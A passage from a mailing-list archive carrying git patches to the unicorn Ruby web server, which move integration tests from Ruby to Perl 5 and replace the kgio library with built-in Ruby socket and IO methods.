diff --git a/t/working_directory.t b/t/working_directory.t
index 6c974720..f9254eb8 100644
--- a/t/working_directory.t
+++ b/t/working_directory.t
@@ -4,12 +4,10 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
mkdir "$tmpdir/alt";
-my $u_sock = "$tmpdir/u.sock";
my $ru = "$tmpdir/alt/config.ru";
-my $u_conf = "$tmpdir/u.conf.rb";
open my $fh, '>', $u_conf;
print $fh <<EOM;
-pid "$tmpdir/pid"
+pid "$pid_file"
preload_app true
stderr_path "$err_log"
working_directory "$tmpdir/alt" # the whole point of this test
@@ -30,32 +28,13 @@ $common_ru
EOM
close $fh;
-my $pid;
-my $stop_daemon = sub {
- my ($is_END) = @_;
- kill('TERM', $pid);
- my $tries = 1000;
- while (CORE::kill(0, $pid) && --$tries) {
- select undef, undef, undef, 0.01;
- }
- if ($is_END && CORE::kill(0, $pid)) {
- CORE::kill('KILL', $pid);
- die "daemonized PID=$pid did not die";
- } else {
- ok(!CORE::kill(0, $pid), 'daemonized unicorn gone');
- undef $pid;
- }
-};
-
-END { $stop_daemon->(1) if defined $pid };
-
unicorn('-c', $u_conf)->join; # will daemonize
-chomp($pid = slurp("$tmpdir/pid"));
+chomp($daemon_pid = slurp($pid_file));
my ($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
is($bdy, "1\n", 'got expected $master_ppid');
-$stop_daemon->();
+stop_daemon;
check_stderr;
if ('test without CLI switches in config.ru') {
@@ -65,12 +44,12 @@ if ('test without CLI switches in config.ru') {
close $fh;
unicorn('-D', '-l', $u_sock, '-c', $u_conf)->join; # will daemonize
- chomp($pid = slurp("$tmpdir/pid"));
+ chomp($daemon_pid = slurp($pid_file));
($status, $hdr, $bdy) = do_req($u_sock, 'GET / HTTP/1.0');
is($bdy, "1\n", 'got expected $master_ppid');
- $stop_daemon->();
+ stop_daemon;
check_stderr;
}
[-- Attachment #9: 0008-tests-use-Time-HiRes-sleep-and-time-everywhere.patch --]
[-- Type: text/x-diff, Size: 4106 bytes --]
From dd9f2efeebf20cfa1def0ce92cb4e35a8b5c1580 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 09:35:09 +0000
Subject: [PATCH 08/11] tests: use Time::HiRes `sleep' and `time' everywhere
The time(2) syscall use by CORE::time is inaccurate[1].
It's also easier to read `sleep 0.01' rather than the
longer `select' equivalent.
[1] a6463151bd1db5b9 (httpdate: favor gettimeofday(2) over time(2) for correctness, 2023-06-01)
---
t/active-unix-socket.t | 2 +-
t/integration.t | 5 +++--
t/lib.perl | 4 ++--
t/reload-bad-config.t | 2 +-
t/reopen-logs.t | 4 ++--
t/winch_ttin.t | 4 +---
6 files changed, 10 insertions(+), 11 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 32cb0c2e..ff731b5f 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -86,7 +86,7 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
'fail to connect to u1');
for (1..50) { # wait for init process to reap worker
kill(0, $worker_pid) or last;
- select(undef, undef, undef, 0.011);
+ sleep 0.011;
}
ok(!kill(0, $worker_pid), 'worker gone after parent dies');
}
diff --git a/t/integration.t b/t/integration.t
index eb40ffc7..80485e44 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -77,8 +77,9 @@ SKIP: { # Date header check
eval { require HTTP::Date } or skip "HTTP::Date missing: $@", 1;
$d[0] =~ s/^Date: //i or die 'BUG: did not strip date: prefix';
my $t = HTTP::Date::str2time($d[0]);
- ok($t >= $t0 && $t > 0 && $t <= time, 'valid date') or
- diag(explain([$t, $!, \@d]));
+ my $now = time;
+ ok($t >= ($t0 - 1) && $t > 0 && $t <= ($now + 1), 'valid date') or
+ diag(explain(["t=$t t0=$t0 now=$now", $!, \@d]));
};
diff --git a/t/lib.perl b/t/lib.perl
index 244972bc..9254b23b 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -6,7 +6,7 @@ use v5.14;
use parent qw(Exporter);
use autodie;
use Test::More;
-use Time::HiRes qw(sleep);
+use Time::HiRes qw(sleep time);
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
@@ -15,7 +15,7 @@ our ($tmpdir, $errfh, $err_log, $u_sock, $u_conf, $daemon_pid,
our @EXPORT = qw(unicorn slurp tcp_server tcp_start unicorn
$tmpdir $errfh $err_log $u_sock $u_conf $daemon_pid $pid_file
SEEK_SET tcp_host_port which spawn check_stderr unix_start slurp_hdr
- do_req stop_daemon);
+ do_req stop_daemon sleep time);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
diff --git a/t/reload-bad-config.t b/t/reload-bad-config.t
index 543421da..c023b88c 100644
--- a/t/reload-bad-config.t
+++ b/t/reload-bad-config.t
@@ -38,7 +38,7 @@ my @l;
for (1..1000) {
@l = grep(/(?:done|error) reloading/, slurp($err_log)) and
last;
- select undef, undef, undef, 0.011;
+ sleep 0.011;
}
diag slurp($err_log) if $ENV{V};
ok(grep(/error reloading/, @l), 'got error reloading');
diff --git a/t/reopen-logs.t b/t/reopen-logs.t
index 8a58c1b9..76a4dbdf 100644
--- a/t/reopen-logs.t
+++ b/t/reopen-logs.t
@@ -23,8 +23,8 @@ rename($out_log, "$out_log.rot");
$auto_reap->do_kill('USR1');
my $tries = 1000;
-while (!-f $err_log && --$tries) { select undef, undef, undef, 0.01 };
-while (!-f $out_log && --$tries) { select undef, undef, undef, 0.01 };
+while (!-f $err_log && --$tries) { sleep 0.01 };
+while (!-f $out_log && --$tries) { sleep 0.01 };
ok(-f $out_log, 'stdout_path recreated after USR1');
ok(-f $err_log, 'stderr_path recreated after USR1');
diff --git a/t/winch_ttin.t b/t/winch_ttin.t
index 509b118f..c5079599 100644
--- a/t/winch_ttin.t
+++ b/t/winch_ttin.t
@@ -43,9 +43,7 @@ ok(kill(0, $worker_pid), 'worker_pid is valid');
ok(kill('WINCH', $pid), 'SIGWINCH can be sent');
my $tries = 1000;
-while (CORE::kill(0, $worker_pid) && --$tries) {
- select undef, undef, undef, 0.01;
-}
+while (CORE::kill(0, $worker_pid) && --$tries) { sleep 0.01 }
ok(!CORE::kill(0, $worker_pid), 'worker not running');
ok(kill('TTIN', $pid), 'SIGTTIN to restart worker');
[-- Attachment #10: 0009-tests-fold-SO_KEEPALIVE-check-to-Perl-5-integration.patch --]
[-- Type: text/x-diff, Size: 2675 bytes --]
From b588ccbbf73547487f54fd1a9d5396d6848e8661 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 19:21:05 +0000
Subject: [PATCH 09/11] tests: fold SO_KEEPALIVE check to Perl 5 integration
No need to startup more processes than necessary.
---
t/integration.t | 13 +++++++++++++
test/exec/test_exec.rb | 23 +----------------------
2 files changed, 14 insertions(+), 22 deletions(-)
diff --git a/t/integration.t b/t/integration.t
index 80485e44..bea221ce 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -7,8 +7,16 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
+use Socket qw(SOL_SOCKET SO_KEEPALIVE);
our $srv = tcp_server();
our $host_port = tcp_host_port($srv);
+
+if ('ensure Perl does not set SO_KEEPALIVE by default') {
+ my $val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
+ unpack('i', $val) == 0 or
+ setsockopt($srv, SOL_SOCKET, SO_KEEPALIVE, pack('i', 0));
+ $val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
+}
my $t0 = time;
open my $conf_fh, '>', $u_conf;
$conf_fh->autoflush(1);
@@ -71,6 +79,11 @@ is_deeply([ grep(/^X-R2: /, @$hdr) ],
[ 'X-R2: a', 'X-R2: b', 'X-R2: c' ],
'rack 2 LF-delimited headers supported') or diag(explain($hdr));
+{
+ my $val = getsockopt($srv, SOL_SOCKET, SO_KEEPALIVE);
+ is(unpack('i', $val), 1, 'SO_KEEPALIVE set on inherited socket');
+}
+
SKIP: { # Date header check
my @d = grep(/^Date: /i, @$hdr);
is(scalar(@d), 1, 'got one date header') or diag(explain(\@d));
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 55f828e7..84944520 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -1,6 +1,5 @@
# -*- encoding: binary -*-
-
-# Copyright (c) 2009 Eric Wong
+# Don't add to this file, new tests are in Perl 5. See t/README
FLOCK_PATH = File.expand_path(__FILE__)
require './test/test_helper'
@@ -97,26 +96,6 @@ def teardown
end
end
- def test_inherit_listener_unspecified
- File.open("config.ru", "wb") { |fp| fp.write(HI) }
- sock = TCPServer.new(@addr, @port)
- sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
-
- pid = xfork do
- redirect_test_io do
- ENV['UNICORN_FD'] = sock.fileno.to_s
- exec($unicorn_bin, sock.fileno => sock.fileno)
- end
- end
- res = hit(["http://#@addr:#@port/"])
- assert_equal [ "HI\n" ], res
- assert_shutdown(pid)
- assert sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).bool,
- 'unicorn should always set SO_KEEPALIVE on inherited sockets'
- ensure
- sock.close if sock
- end
-
def test_working_directory_rel_path_config_file
other = Tempfile.new('unicorn.wd')
File.unlink(other.path)
[-- Attachment #11: 0010-tests-move-broken-app-test-to-Perl-5-integration-tes.patch --]
[-- Type: text/x-diff, Size: 2376 bytes --]
From 7160f1b519aece0fe645d22a7d8fb954a43ad6fb Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 19:37:32 +0000
Subject: [PATCH 10/11] tests: move broken app test to Perl 5 integration test
Less Ruby means fewer incompatibilities to worry about with
every new version.
---
t/integration.ru | 1 +
t/integration.t | 6 ++++++
test/unit/test_server.rb | 14 --------------
3 files changed, 7 insertions(+), 14 deletions(-)
diff --git a/t/integration.ru b/t/integration.ru
index 086126ab..888833a9 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -98,6 +98,7 @@ def rack_input_tests(env)
when '/pid'; [ 200, {}, [ "#$$\n" ] ]
when '/early_hints_rack2'; early_hints(env, "r\n2")
when '/early_hints_rack3'; early_hints(env, %w(r 3))
+ when '/broken_app'; raise RuntimeError, 'hello'
else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index bea221ce..ba17dd9e 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -118,6 +118,12 @@ SKIP: {
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
+check_stderr;
+($status, $hdr, $bdy) = do_req($srv, 'GET /broken_app HTTP/1.0');
+like($status, qr!\AHTTP/1\.[0-1] 500\b!, 'got 500 error on broken endpoint');
+is($bdy, undef, 'no response body after exception');
+truncate($errfh, 0);
+
my $ck_early_hints = sub {
my ($note) = @_;
$c = unix_start($u1, 'GET /early_hints_rack2 HTTP/1.0');
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 0a710d12..2af12eac 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -127,20 +127,6 @@ def test_after_reply
sock.close
end
- def test_broken_app
- teardown
- app = lambda { |env| raise RuntimeError, "hello" }
- # [200, {}, []] }
- redirect_test_io do
- @server = HttpServer.new(app, :listeners => [ "127.0.0.1:#@port"] )
- @server.start
- end
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("GET / HTTP/1.0\r\n\r\n")
- assert_match %r{\AHTTP/1.[01] 500\b}, sock.sysread(4096)
- assert_nil sock.close
- end
-
def test_simple_server
results = hit(["http://localhost:#{@port}/test"])
assert_equal 'hello!\n', results[0], "Handler didn't really run"
[-- Attachment #12: 0011-tests-fold-early-shutdown-tests-into-t-integration.t.patch --]
[-- Type: text/x-diff, Size: 4527 bytes --]
From 05028146b5e69c566663fdab9f8b92c6145a791a Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Sun, 10 Sep 2023 19:52:03 +0000
Subject: [PATCH 11/11] tests: fold early shutdown() tests into t/integration.t
This means fewer redundant tests and more chances to notice
Ruby incompatibilities.
---
t/integration.t | 22 +++++++++++++++--
test/unit/test_server.rb | 53 ----------------------------------------
2 files changed, 20 insertions(+), 55 deletions(-)
diff --git a/t/integration.t b/t/integration.t
index ba17dd9e..7310ff29 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -7,7 +7,7 @@
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
-use Socket qw(SOL_SOCKET SO_KEEPALIVE);
+use Socket qw(SOL_SOCKET SO_KEEPALIVE SHUT_WR);
our $srv = tcp_server();
our $host_port = tcp_host_port($srv);
@@ -209,6 +209,7 @@ SKIP: {
defined($opt{overwrite}) and
print { $c } ('x' x $opt{overwrite});
$c->flush or die $!;
+ shutdown($c, SHUT_WR);
($status, $hdr) = slurp_hdr($c);
is(readline($c), $blob_hash, "$sub $path");
};
@@ -225,6 +226,8 @@ SKIP: {
# ensure small overwrites don't get checksummed
$ck_hash->('identity', '/rack_input', -s => $blob_size,
overwrite => 1); # one extra byte
+ unlike(slurp($err_log), qr/ClientShutdown/,
+ 'no overreads after client SHUT_WR');
# excessive overwrite truncated
$c = tcp_start($srv);
@@ -238,8 +241,23 @@ SKIP: {
$! = 0;
while (print $c $buf and time < $end) { ++$n }
ok($!, 'overwrite truncated') or diag "n=$n err=$! ".time;
+ undef $c;
+ }
+
+ # client shutdown early
+ $c = tcp_start($srv);
+ $c->autoflush(0);
+ print $c "PUT /rack_input HTTP/1.0\r\nContent-Length: 16384\r\n\r\n";
+ if (1) {
+ local $SIG{PIPE} = 'IGNORE';
+ print $c 'too short body';
+ shutdown($c, SHUT_WR);
+ vec(my $rvec = '', fileno($c), 1) = 1;
+ select($rvec, undef, undef, 10) or BAIL_OUT "timed out";
+ my $buf = <$c>;
+ is($buf, undef, 'server aborted after client SHUT_WR');
+ undef $c;
}
- undef $c;
$curl // skip 'no curl found in PATH', 1;
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index 2af12eac..7ffa48f0 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -132,59 +132,6 @@ def test_simple_server
assert_equal 'hello!\n', results[0], "Handler didn't really run"
end
- def test_client_shutdown_writes
- bs = 15609315 * rand
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("PUT /hello HTTP/1.1\r\n")
- sock.syswrite("Host: example.com\r\n")
- sock.syswrite("Transfer-Encoding: chunked\r\n")
- sock.syswrite("Trailer: X-Foo\r\n")
- sock.syswrite("\r\n")
- sock.syswrite("%x\r\n" % [ bs ])
- sock.syswrite("F" * bs)
- sock.syswrite("\r\n0\r\nX-")
- "Foo: bar\r\n\r\n".each_byte do |x|
- sock.syswrite x.chr
- sleep 0.05
- end
- # we wrote the entire request before shutting down, server should
- # continue to process our request and never hit EOFError on our sock
- sock.shutdown(Socket::SHUT_WR)
- buf = sock.read
- assert_match %r{\bhello!\\n\b}, buf.split(/\r\n\r\n/, 2).last
- next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
- assert_equal 'hello!\n', next_client
- lines = File.readlines("test_stderr.#$$.log")
- assert lines.grep(/^Unicorn::ClientShutdown: /).empty?
- assert_nil sock.close
- end
-
- def test_client_shutdown_write_truncates
- bs = 15609315 * rand
- sock = tcp_socket('127.0.0.1', @port)
- sock.syswrite("PUT /hello HTTP/1.1\r\n")
- sock.syswrite("Host: example.com\r\n")
- sock.syswrite("Transfer-Encoding: chunked\r\n")
- sock.syswrite("Trailer: X-Foo\r\n")
- sock.syswrite("\r\n")
- sock.syswrite("%x\r\n" % [ bs ])
- sock.syswrite("F" * (bs / 2.0))
-
- # shutdown prematurely, this will force the server to abort
- # processing on us even during app dispatch
- sock.shutdown(Socket::SHUT_WR)
- IO.select([sock], nil, nil, 60) or raise "Timed out"
- buf = sock.read
- assert_equal "", buf
- next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
- assert_equal 'hello!\n', next_client
- lines = File.readlines("test_stderr.#$$.log")
- lines = lines.grep(/^Unicorn::ClientShutdown: bytes_read=\d+/)
- assert_equal 1, lines.size
- assert_match %r{\AUnicorn::ClientShutdown: bytes_read=\d+ true$}, lines[0]
- assert_nil sock.close
- end
-
def test_client_malformed_body
bs = 15653984
sock = tcp_socket('127.0.0.1', @port)
^ permalink raw reply related [relevance 13%]
* [RFC 0-3/3] depend on Ruby 2.5+, eliminate kgio
@ 2023-09-05 9:44 9% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2023-09-05 9:44 UTC (permalink / raw)
To: unicorn-public
[-- Attachment #1: Type: text/plain, Size: 1658 bytes --]
Explanation (and bulk of the work is in patch 2/3).
I wrote patch 1/3 over 4 years ago since it was simple and
didn't rely on "newer" Ruby 2.3 features. Patch 2/3 completes
the change and actually depends on 2.5+; while patch 3/3 updates
the gemspec, docs and dependencies for Ruby 2.5+.
I haven't actually used Ruby 2.5 in a while, but I'm still on
Ruby 2.7 since that's what I have in Debian bullseye
(oldstable).
Patch 2/3 could use an extra set of eyes since it's fairly big,
but passes all tests.
Note: I can't benchmark anything since I have limited (shared)
hardware
Eric Wong (3):
remove kgio from all read(2) and write(2) wrappers
kill off remaining kgio uses
update dependency to Ruby 2.5+
HACKING | 2 +-
README | 2 +-
lib/unicorn.rb | 3 +-
lib/unicorn/http_request.rb | 18 ++++-----
lib/unicorn/http_server.rb | 38 +++++++----------
lib/unicorn/oob_gc.rb | 4 +-
lib/unicorn/socket_helper.rb | 50 +++--------------------
lib/unicorn/stream_input.rb | 20 +++++----
lib/unicorn/worker.rb | 10 ++---
lib/unicorn/write_splat.rb | 7 ----
t/README | 2 +-
t/oob_gc.ru | 3 --
t/oob_gc_path.ru | 3 --
test/unit/test_request.rb | 47 ++++++++-------------
test/unit/test_socket_helper.rb | 72 +++++++--------------------------
test/unit/test_stream_input.rb | 2 +-
test/unit/test_tee_input.rb | 2 +-
unicorn.gemspec | 5 +--
18 files changed, 87 insertions(+), 203 deletions(-)
delete mode 100644 lib/unicorn/write_splat.rb
[-- Attachment #2: 0001-remove-kgio-from-all-read-2-and-write-2-wrappers.patch --]
[-- Type: text/x-diff, Size: 5330 bytes --]
From 36ba7f971c571031101c0b718724bdcb06dd7e03 Mon Sep 17 00:00:00 2001
From: Eric Wong <e@80x24.org>
Date: Sun, 26 May 2019 22:15:44 +0000
Subject: [RFC 1/3] remove kgio from all read(2) and write(2) wrappers
It's fairly easy given unicorn was designed with synchronous I/O
in mind. The overhead of backtraces from EOFError on
readpartial should be rare given our requirement to only accept
requests from fast, reliable clients on LAN (e.g. nginx or
yet-another-horribly-named-server).
---
lib/unicorn/http_request.rb | 4 ++--
lib/unicorn/http_server.rb | 8 +++++---
lib/unicorn/stream_input.rb | 20 ++++++++++++--------
lib/unicorn/worker.rb | 4 ++--
4 files changed, 21 insertions(+), 15 deletions(-)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index e3ad592..8bca60a 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -74,11 +74,11 @@ def read(socket)
e['REMOTE_ADDR'] = socket.kgio_addr
# short circuit the common case with small GET requests first
- socket.kgio_read!(16384, buf)
+ socket.readpartial(16384, buf)
if parse.nil?
# Parser is not done, queue up more data to read and continue parsing
# an Exception thrown from the parser will throw us out of the loop
- false until add_parse(socket.kgio_read!(16384))
+ false until add_parse(socket.readpartial(16384))
end
check_client_connection(socket) if @@check_client_connection
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index f1b4a54..2f1eb1b 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -389,12 +389,13 @@ def master_sleep(sec)
# the Ruby itself and not require a separate malloc (on 32-bit MRI 1.9+).
# Most reads are only one byte here and uncommon, so it's not worth a
# persistent buffer, either:
- @self_pipe[0].kgio_tryread(11)
+ @self_pipe[0].read_nonblock(11, exception: false)
end
def awaken_master
return if $$ != @master_pid
- @self_pipe[1].kgio_trywrite('.') # wakeup master process from select
+ # wakeup master process from select
+ @self_pipe[1].write_nonblock('.', exception: false)
end
# reaps all unreaped workers
@@ -565,7 +566,8 @@ def handle_error(client, e)
500
end
if code
- client.kgio_trywrite(err_response(code, @request.response_start_sent))
+ code = err_response(code, @request.response_start_sent)
+ client.write_nonblock(code, exception: false)
end
client.close
rescue
diff --git a/lib/unicorn/stream_input.rb b/lib/unicorn/stream_input.rb
index 41d28a0..9246f73 100644
--- a/lib/unicorn/stream_input.rb
+++ b/lib/unicorn/stream_input.rb
@@ -49,8 +49,7 @@ def read(length = nil, rv = '')
to_read = length - @rbuf.size
rv.replace(@rbuf.slice!(0, @rbuf.size))
until to_read == 0 || eof? || (rv.size > 0 && @chunked)
- @socket.kgio_read(to_read, @buf) or eof!
- filter_body(@rbuf, @buf)
+ filter_body(@rbuf, @socket.readpartial(to_read, @buf))
rv << @rbuf
to_read -= @rbuf.size
end
@@ -61,6 +60,8 @@ def read(length = nil, rv = '')
read_all(rv)
end
rv
+ rescue EOFError
+ return eof!
end
# :call-seq:
@@ -83,9 +84,10 @@ def gets
begin
@rbuf.sub!(re, '') and return $1
return @rbuf.empty? ? nil : @rbuf.slice!(0, @rbuf.size) if eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
- filter_body(once = '', @buf)
+ filter_body(once = '', @socket.readpartial(@@io_chunk_size, @buf))
@rbuf << once
+ rescue EOFError
+ return eof!
end while true
end
@@ -107,14 +109,15 @@ def each
def eof?
if @parser.body_eof?
while @chunked && ! @parser.parse
- once = @socket.kgio_read(@@io_chunk_size) or eof!
- @buf << once
+ @buf << @socket.readpartial(@@io_chunk_size)
end
@socket = nil
true
else
false
end
+ rescue EOFError
+ return eof!
end
def filter_body(dst, src)
@@ -127,10 +130,11 @@ def read_all(dst)
dst.replace(@rbuf)
@socket or return
until eof?
- @socket.kgio_read(@@io_chunk_size, @buf) or eof!
- filter_body(@rbuf, @buf)
+ filter_body(@rbuf, @socket.readpartial(@@io_chunk_size, @buf))
dst << @rbuf
end
+ rescue EOFError
+ return eof!
ensure
@rbuf.clear
end
diff --git a/lib/unicorn/worker.rb b/lib/unicorn/worker.rb
index 5ddf379..ad5814c 100644
--- a/lib/unicorn/worker.rb
+++ b/lib/unicorn/worker.rb
@@ -65,7 +65,7 @@ def soft_kill(sig) # :nodoc:
end
# writing and reading 4 bytes on a pipe is atomic on all POSIX platforms
# Do not care in the odd case the buffer is full, here.
- @master.kgio_trywrite([signum].pack('l'))
+ @master.write_nonblock([signum].pack('l'), exception: false)
rescue Errno::EPIPE
# worker will be reaped soon
end
@@ -73,7 +73,7 @@ def soft_kill(sig) # :nodoc:
# this only runs when the Rack app.call is not running
# act like a listener
def kgio_tryaccept # :nodoc:
- case buf = @to_io.kgio_tryread(4)
+ case buf = @to_io.read_nonblock(4, exception: false)
when String
# unpack the buffer and trigger the signal handler
signum = buf.unpack('l')
[-- Attachment #3: 0002-kill-off-remaining-kgio-uses.patch --]
[-- Type: text/x-diff, Size: 25476 bytes --]
From 03ec6e69fc6219a40aa8db368abe53017cd164e3 Mon Sep 17 00:00:00 2001
From: Eric Wong <bofh@yhbt.net>
Date: Tue, 5 Sep 2023 06:43:20 +0000
Subject: [RFC 2/3] kill off remaining kgio uses
kgio is an extra download and shared object which costs users
bandwidth, disk space, startup time and memory. Ruby 2.3+
provides `Socket#accept_nonblock(exception: false)' support
in addition to `exception: false' support in IO#*_nonblock
methods from Ruby 2.1.
We no longer distinguish between TCPServer and UNIXServer as
separate classes internally; instead favoring the `Socket' class
of Ruby for both. This allows us to use `Socket#accept_nonblock'
and get a populated `Addrinfo' object off accept4(2)/accept(2)
without resorting to a getpeername(2) syscall (kgio avoided
getpeername(2) in the same way).
The downside is there's more Ruby-level argument passing and
stack usage on our end with HttpRequest#read_headers (formerly
HttpRequest#read). I chose this tradeoff since advancements in
Ruby itself can theoretically mitigate the cost of argument
passing, while syscalls are a high fixed cost given modern CPU
vulnerability mitigations.
Note: no benchmarks have been run since I don't have a suitable
system.
---
lib/unicorn.rb | 3 +-
lib/unicorn/http_request.rb | 14 +++----
lib/unicorn/http_server.rb | 30 +++++---------
lib/unicorn/oob_gc.rb | 4 +-
lib/unicorn/socket_helper.rb | 50 +++--------------------
lib/unicorn/worker.rb | 6 +--
t/oob_gc.ru | 3 --
t/oob_gc_path.ru | 3 --
test/unit/test_request.rb | 47 ++++++++-------------
test/unit/test_socket_helper.rb | 72 +++++++--------------------------
test/unit/test_stream_input.rb | 2 +-
test/unit/test_tee_input.rb | 2 +-
unicorn.gemspec | 1 -
13 files changed, 61 insertions(+), 176 deletions(-)
diff --git a/lib/unicorn.rb b/lib/unicorn.rb
index b817b77..564cb30 100644
--- a/lib/unicorn.rb
+++ b/lib/unicorn.rb
@@ -1,7 +1,6 @@
# -*- encoding: binary -*-
require 'etc'
require 'stringio'
-require 'kgio'
require 'raindrops'
require 'io/wait'
@@ -112,7 +111,7 @@ def self.log_error(logger, prefix, exc)
F_SETPIPE_SZ = 1031 if RUBY_PLATFORM =~ /linux/
def self.pipe # :nodoc:
- Kgio::Pipe.new.each do |io|
+ IO.pipe.each do |io|
# shrink pipes to minimize impact on /proc/sys/fs/pipe-user-pages-soft
# limits.
if defined?(F_SETPIPE_SZ)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 8bca60a..ab3bd6e 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -61,7 +61,7 @@ def self.check_client_connection=(bool)
# returns an environment hash suitable for Rack if successful
# This does minimal exception trapping and it is up to the caller
# to handle any socket errors (e.g. user aborted upload).
- def read(socket)
+ def read_headers(socket, ai)
e = env
# From https://www.ietf.org/rfc/rfc3875:
@@ -71,7 +71,7 @@ def read(socket)
# identify the client for the immediate request to the server;
# that client may be a proxy, gateway, or other intermediary
# acting on behalf of the actual source client."
- e['REMOTE_ADDR'] = socket.kgio_addr
+ e['REMOTE_ADDR'] = ai.unix? ? '127.0.0.1' : ai.ip_address
# short circuit the common case with small GET requests first
socket.readpartial(16384, buf)
@@ -81,7 +81,7 @@ def read(socket)
false until add_parse(socket.readpartial(16384))
end
- check_client_connection(socket) if @@check_client_connection
+ check_client_connection(socket, ai) if @@check_client_connection
e['rack.input'] = 0 == content_length ?
NULL_IO : @@input_class.new(socket, self)
@@ -107,8 +107,8 @@ def hijacked?
if Raindrops.const_defined?(:TCP_Info)
TCPI = Raindrops::TCP_Info.allocate
- def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket
+ def check_client_connection(socket, ai) # :nodoc:
+ if ai.ip?
# Raindrops::TCP_Info#get!, #state (reads struct tcp_info#tcpi_state)
raise Errno::EPIPE, "client closed connection".freeze,
EMPTY_ARRAY if closed_state?(TCPI.get!(socket).state)
@@ -152,8 +152,8 @@ def closed_state?(state) # :nodoc:
# Ruby 2.2+ can show struct tcp_info as a string Socket::Option#inspect.
# Not that efficient, but probably still better than doing unnecessary
# work after a client gives up.
- def check_client_connection(socket) # :nodoc:
- if Unicorn::TCPClient === socket && @@tcpi_inspect_ok
+ def check_client_connection(socket, ai) # :nodoc:
+ if @@tcpi_inspect_ok && ai.ip?
opt = socket.getsockopt(Socket::IPPROTO_TCP, Socket::TCP_INFO).inspect
if opt =~ /\bstate=(\S+)/
raise Errno::EPIPE, "client closed connection".freeze,
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 2f1eb1b..ed5bbf1 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -111,9 +111,7 @@ def initialize(app, options = {})
@worker_data = if worker_data = ENV['UNICORN_WORKER']
worker_data = worker_data.split(',').map!(&:to_i)
- worker_data[1] = worker_data.slice!(1..2).map do |i|
- Kgio::Pipe.for_fd(i)
- end
+ worker_data[1] = worker_data.slice!(1..2).map { |i| IO.for_fd(i) }
worker_data
end
end
@@ -243,10 +241,6 @@ def listen(address, opt = {}.merge(listener_opts[address] || {}))
tries = opt[:tries] || 5
begin
io = bind_listen(address, opt)
- unless Kgio::TCPServer === io || Kgio::UNIXServer === io
- io.autoclose = false
- io = server_cast(io)
- end
logger.info "listening on addr=#{sock_name(io)} fd=#{io.fileno}"
LISTENERS << io
io
@@ -594,9 +588,9 @@ def e100_response_write(client, env)
# once a client is accepted, it is processed in its entirety here
# in 3 easy steps: read request, call app, write app response
- def process_client(client)
+ def process_client(client, ai)
@request = Unicorn::HttpRequest.new
- env = @request.read(client)
+ env = @request.read_headers(client, ai)
if early_hints
env["rack.early_hints"] = lambda do |headers|
@@ -708,10 +702,9 @@ def worker_loop(worker)
reopen = reopen_worker_logs(worker.nr) if reopen
worker.tick = time_now.to_i
while sock = ready.shift
- # Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
- # but that will return false
- if client = sock.kgio_tryaccept
- process_client(client)
+ client_ai = sock.accept_nonblock(exception: false)
+ if client_ai != :wait_readable
+ process_client(*client_ai)
worker.tick = time_now.to_i
end
break if reopen
@@ -809,7 +802,6 @@ def redirect_io(io, path)
def inherit_listeners!
# inherit sockets from parents, they need to be plain Socket objects
- # before they become Kgio::UNIXServer or Kgio::TCPServer
